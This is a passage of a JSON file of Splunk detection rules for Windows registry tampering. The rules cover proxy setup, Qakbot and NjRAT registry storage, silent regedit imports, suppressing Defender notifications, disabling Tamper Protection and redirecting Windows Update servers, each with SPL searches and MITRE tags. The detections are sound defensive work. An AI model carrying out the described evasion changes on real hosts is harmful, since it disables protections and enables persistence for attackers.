Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_nochangingwallpaper_filter`", - "tags": { - "analytic_story": [ - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "the registry settings was modified to disable changing of wallpaper on $dest$.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry ProxyEnable", - "description": "The following analytic detects modifications to the Windows registry key \"ProxyEnable\" to enable proxy settings. It leverages data from the Endpoint.Registry datamodel, specifically monitoring changes to the \"Internet Settings\\ProxyEnable\" registry path. This activity is significant as it is commonly exploited by malware and adversaries to establish proxy communication, potentially connecting to malicious Command and Control (C2) servers. If confirmed malicious, this could allow attackers to redirect network traffic through a proxy, facilitating unauthorized communication and data exfiltration, thereby compromising the security of the affected host.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path = \"*\\\\Internet Settings\\\\ProxyEnable\" Registry.registry_value_data = 0x00000001 by Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.action Registry.user Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_proxyenable_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "the registry settings was modified to enable proxy on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry ProxyServer", - "description": "The following analytic detects modifications to the Windows registry key for setting up a proxy server. It leverages data from the Endpoint.Registry datamodel, focusing on changes to the \"Internet Settings\\\\ProxyServer\" registry path. This activity is significant as it can indicate malware or adversaries configuring a proxy to facilitate unauthorized communication with Command and Control (C2) servers. If confirmed malicious, this could allow attackers to establish persistent, covert channels for data exfiltration or further exploitation of the compromised host.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path = \"*\\\\Internet Settings\\\\ProxyServer\" by Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.action Registry.user Registry.dest | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_proxyserver_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "the registry settings was modified to setup proxy server on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry Qakbot Binary Data Registry", - "description": "The following analytic detects the creation of a suspicious registry entry by Qakbot malware, characterized by 8 random registry value names with encrypted binary data. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on registry modifications under the \"SOFTWARE\\\\Microsoft\\\\\" path by processes like explorer.exe. This activity is significant as it indicates potential Qakbot infection, which uses the registry to store malicious code or configuration data. If confirmed malicious, this could allow attackers to maintain persistence and execute arbitrary code on the compromised system.", - "search": "| tstats `security_content_summariesonly` count dc(registry_value_name) as registry_value_name_count FROM datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\SOFTWARE\\\\Microsoft\\\\*\" AND Registry.registry_value_data = \"Binary Data\" by _time span=1m Registry.dest Registry.user Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.process_id Registry.registry_key_name | `drop_dm_object_name(Registry)` | eval registry_key_name_len = len(registry_key_name) | eval registry_value_name_len = len(registry_value_name) | regex registry_value_name=\"^[0-9a-fA-F]{8}\" | where registry_key_name_len < 80 AND registry_value_name_len == 8 | join process_guid, _time [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name IN (\"explorer.exe\", \"wermgr.exe\",\"dxdiag.exe\", \"OneDriveSetup.exe\", \"mobsync.exe\", \"msra.exe\", \"xwizard.exe\") by _time span=1m Processes.process_id Processes.process_name Processes.process Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid Processes.process_path | `drop_dm_object_name(Processes)` ] | stats min(_time) as firstTime max(_time) as lastTime values(registry_value_name) as registry_value_name dc(registry_value_name) as registry_value_name_count values(registry_key_name) by dest process_guid process_name parent_process_name | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where registry_value_name_count >= 5 | `windows_modify_registry_qakbot_binary_data_registry_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Registry with binary data created by $process_name$ on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry Regedit Silent Reg Import", - "description": "The following analytic detects the modification of the Windows registry using the regedit.exe application with the silent mode parameter. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because the silent mode allows registry changes without user confirmation, which can be exploited by adversaries to import malicious registry settings. If confirmed malicious, this could enable attackers to persist in the environment, escalate privileges, or manipulate system configurations, leading to potential system compromise.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"regedit.exe\" OR Processes.original_file_name=\"regedit.exe\") AND Processes.process=\"* /s *\" AND Processes.process=\"*.reg*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_regedit_silent_reg_import_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "The regedit app was executed with silet mode parameter to import .reg file on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry Risk Behavior", - "description": "The following analytic identifies instances where three or more distinct registry modification events associated with MITRE ATT&CK Technique T1112 are detected. It leverages data from the Risk data model in Splunk, focusing on registry-related sources and MITRE technique annotations. This activity is significant because multiple registry modifications can indicate an attempt to persist, hide malicious configurations, or erase forensic evidence. If confirmed malicious, this behavior could allow attackers to maintain persistent access, execute malicious code, and evade detection, posing a severe threat to the integrity and security of the affected host.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where source IN (\"*registry*\") All_Risk.annotations.mitre_attack.mitre_technique_id IN (\"*T1112*\") by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 3 | `windows_modify_registry_risk_behavior_filter`", - "tags": { - "analytic_story": [ - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An increase of Windows Modify Registry behavior has been detected on $risk_object$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry Suppress Win Defender Notif", - "description": "The following analytic detects modifications in the Windows registry to suppress Windows Defender notifications. It leverages data from the Endpoint.Registry datamodel, specifically targeting changes to the \"Notification_Suppress\" registry value. This activity is significant because adversaries, including those deploying Azorult malware, use this technique to bypass Windows Defender and disable critical notifications. If confirmed malicious, this behavior could allow attackers to evade detection, maintain persistence, and execute further malicious activities without alerting the user or security tools.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\UX Configuration\\\\Notification_Suppress*\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_suppress_win_defender_notif_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "the registry for suppresing windows fdefender notification settings was modified to disabled in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry Tamper Protection", - "description": "The following analytic detects a suspicious modification to the Windows Defender Tamper Protection registry setting. It leverages data from the Endpoint datamodel, specifically targeting changes where the registry path is set to disable Tamper Protection. This activity is significant because disabling Tamper Protection can allow adversaries to make further undetected changes to Windows Defender settings, potentially leading to reduced security on the system. If confirmed malicious, this could enable attackers to evade detection, persist in the environment, and execute further malicious activities without interference from Windows Defender.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\SOFTWARE\\\\Microsoft\\\\Windows Defender\\\\Features\\\\TamperProtection\" AND Registry.registry_value_data=\"0x00000000\" by Registry.dest Registry.user Registry.registry_path Registry.registry_value_data Registry.registry_key_name | `drop_dm_object_name(Registry)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_modify_registry_tamper_protection_filter`", - "tags": { - "analytic_story": [ - "RedLine Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A registry modification to tamper Windows Defender protection on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry UpdateServiceUrlAlternate", - "description": "The following analytic detects a suspicious modification to the Windows Update configuration registry key, specifically targeting the UpdateServiceUrlAlternate setting. It leverages data from the Endpoint.Registry datamodel to identify changes to this registry path. This activity is significant because adversaries, including malware like RedLine Stealer, exploit this technique to bypass detection and deploy additional payloads. If confirmed malicious, this modification could allow attackers to redirect update services, potentially leading to the execution of malicious code, further system compromise, and persistent evasion of security defenses.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\UpdateServiceUrlAlternate\" by Registry.dest Registry.user Registry.registry_path Registry.registry_value_data Registry.registry_key_name | `drop_dm_object_name(Registry)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_modify_registry_updateserviceurlalternate_filter`", - "tags": { - "analytic_story": [ - "RedLine Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A registry modification in Windows auto update configuration on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry USeWuServer", - "description": "The following analytic detects a suspicious modification to the Windows Update configuration registry key \"UseWUServer.\" It leverages data from the Endpoint.Registry data model to identify changes where the registry value is set to \"0x00000001.\" This activity is significant because it is commonly used by adversaries, including malware like RedLine Stealer, to bypass detection mechanisms and potentially exploit zero-day vulnerabilities. If confirmed malicious, this modification could allow attackers to evade defenses, persist on the target host, and deploy additional malicious payloads.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\AU\\\\UseWUServer\" AND Registry.registry_value_data=\"0x00000001\" by Registry.dest Registry.user Registry.registry_path Registry.registry_value_data Registry.registry_key_name | `drop_dm_object_name(Registry)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_modify_registry_usewuserver_filter`", - "tags": { - "analytic_story": [ - "RedLine Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a registry modification in Windows auto update configuration in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry With MD5 Reg Key Name", - "description": "The following analytic detects potentially malicious registry modifications characterized by MD5-like registry key names. It leverages the Endpoint data model to identify registry entries under the SOFTWARE path with 32-character hexadecimal names, a technique often used by NjRAT malware for fileless storage of keylogs and .DLL plugins. This activity is significant as it can indicate the presence of NjRAT or similar malware, which can lead to unauthorized data access and persistent threats within the environment. If confirmed malicious, attackers could maintain persistence and exfiltrate sensitive information.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path = \"*\\\\SOFTWARE\\\\*\" Registry.registry_value_data = \"Binary Data\" by Registry.dest Registry.user Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.registry_key_name | `drop_dm_object_name(Registry)` | eval dropped_reg_path = split(registry_path, \"\\\\\") | eval dropped_reg_path_split_count = mvcount(dropped_reg_path) | eval validation_result= if(match(registry_value_name,\"^[0-9a-fA-F]{32}$\"),\"md5\",\"nonmd5\") | where validation_result = \"md5\" AND dropped_reg_path_split_count <= 5 | table dest user registry_path registry_value_name registry_value_data registry_key_name reg_key_name dropped_reg_path_split_count validation_result | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_modify_registry_with_md5_reg_key_name_filter`", - "tags": { - "analytic_story": [ - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A md5 registry value name $registry_value_name$ is created on $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry WuServer", - "description": "The following analytic detects suspicious modifications to the Windows Update Server (WUServer) registry settings. It leverages data from the Endpoint.Registry data model to identify changes in the registry path associated with Windows Update configurations. This activity is significant because adversaries, including malware like RedLine Stealer, exploit this technique to bypass detection and deploy additional payloads. If confirmed malicious, this registry modification could allow attackers to evade defenses, potentially leading to further system compromise and persistent unauthorized access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\WUServer\" by Registry.dest Registry.user Registry.registry_path Registry.registry_value_data Registry.registry_key_name | `drop_dm_object_name(Registry)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_modify_registry_wuserver_filter`", - "tags": { - "analytic_story": [ - "RedLine Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A registry modification in Windows auto update configuration on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry wuStatusServer", - "description": "The following analytic identifies suspicious modifications to the Windows Update configuration registry, specifically targeting the WUStatusServer key. It leverages data from the Endpoint datamodel to detect changes in the registry path associated with Windows Update settings. This activity is significant as it is commonly used by adversaries, including malware like RedLine Stealer, to bypass detection and deploy additional payloads. If confirmed malicious, this modification could allow attackers to evade defenses, potentially leading to further system compromise and persistent unauthorized access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\WUStatusServer\" by Registry.dest Registry.user Registry.registry_path Registry.registry_value_data Registry.registry_key_name | `drop_dm_object_name(Registry)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_modify_registry_wustatusserver_filter`", - "tags": { - "analytic_story": [ - "RedLine Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a registry modification in Windows auto update configuration in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Show Compress Color And Info Tip Registry", - "description": "The following analytic detects suspicious modifications to the Windows registry keys related to file compression color and information tips. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the \"ShowCompColor\" and \"ShowInfoTip\" values under the \"Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\" path. This activity is significant as it was observed in the Hermetic Wiper malware, indicating potential malicious intent to alter file attributes and user interface elements. If confirmed malicious, this could signify an attempt to manipulate file visibility and deceive users, potentially aiding in further malicious activities.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path = \"*\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced*\" AND Registry.registry_value_name IN(\"ShowCompColor\", \"ShowInfoTip\")) BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_show_compress_color_and_info_tip_registry_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Registry modification in \"ShowCompColor\" and \"ShowInfoTips\" on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows New InProcServer32 Added", - "description": "The following analytic detects the addition of new InProcServer32 registry keys on Windows endpoints. It leverages data from the Endpoint.Registry datamodel to identify changes in registry paths associated with InProcServer32. This activity is significant because malware often uses this mechanism to achieve persistence or execute malicious code by registering a new InProcServer32 key pointing to a harmful DLL. If confirmed malicious, this could allow an attacker to persist in the environment or execute arbitrary code, posing a significant threat to system integrity and security.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\InProcServer32\\\\*\" by Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.dest Registry.process_guid Registry.user | `drop_dm_object_name(Registry)` |`security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_new_inprocserver32_added_filter`", - "tags": { - "analytic_story": [ - "Outlook RCE CVE-2024-21378" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A new InProcServer32 registry key was added to a Windows endpoint. This could indicate suspicious or malicious activity on the $dest$ .", - "risk_score": 2, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - 